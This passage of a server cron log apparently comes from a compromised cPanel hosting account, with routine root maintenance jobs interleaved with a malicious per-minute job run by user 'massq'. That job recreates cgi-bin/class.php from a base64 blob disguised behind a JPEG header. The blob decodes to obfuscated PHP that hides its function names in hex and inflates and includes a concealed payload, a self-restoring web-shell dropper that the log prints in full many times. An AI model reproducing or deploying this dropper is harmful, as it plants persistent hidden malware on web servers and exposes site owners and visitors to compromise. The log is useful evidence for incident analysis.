uUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 08:03:01 server CROND[7381]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 08:03:01 server CROND[7382]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 08:03:01 server CROND[7383]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 08:04:01 server CROND[7758]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 08:04:01 server CROND[7757]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 08:04:01 server CROND[7759]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 08:05:01 server CROND[8295]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 08:05:01 server CROND[8297]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  4 08:05:01 server CROND[8299]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Sep  4 08:05:01 server CROND[8302]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 08:05:01 server CROND[8303]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  4 08:05:01 server CROND[8306]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  4 08:05:01 server CROND[8305]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 08:05:01 server CROND[8301]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 08:05:01 server CROND[8300]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 08:06:01 server CROND[9171]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 08:06:01 server CROND[9172]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 08:06:01 server CROND[9173]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 08:07:01 server CROND[9539]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 08:07:01 server CROND[9540]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 08:07:01 server CROND[9541]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 08:08:01 server CROND[9905]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 08:08:01 server CROND[9906]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 08:08:01 server CROND[9907]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 08:09:01 server CROND[10272]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 08:09:01 server CROND[10274]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 08:09:01 server CROND[10273]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  4 08:09:01 server CROND[10275]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 08:10:01 server CROND[10762]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  4 08:10:01 server CROND[10769]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 08:10:01 server CROND[10770]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  4 08:10:01 server CROND[10771]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 08:10:01 server CROND[10772]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 08:10:01 server CROND[10776]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 08:10:01 server CROND[10777]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 08:10:01 server CROND[10774]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  4 08:11:01 server CROND[11612]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 08:11:01 server CROND[11613]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 08:11:01 server CROND[11614]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 08:12:01 server CROND[11985]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 08:12:01 server CROND[11991]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 08:12:01 server CROND[11992]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  4 08:12:01 server CROND[11993]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 08:13:01 server CROND[12365]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 08:13:01 server CROND[12366]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 08:13:01 server CROND[12367]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 08:14:01 server CROND[12764]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 08:14:01 server CROND[12765]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 08:14:01 server CROND[12766]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 08:15:01 server CROND[13141]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
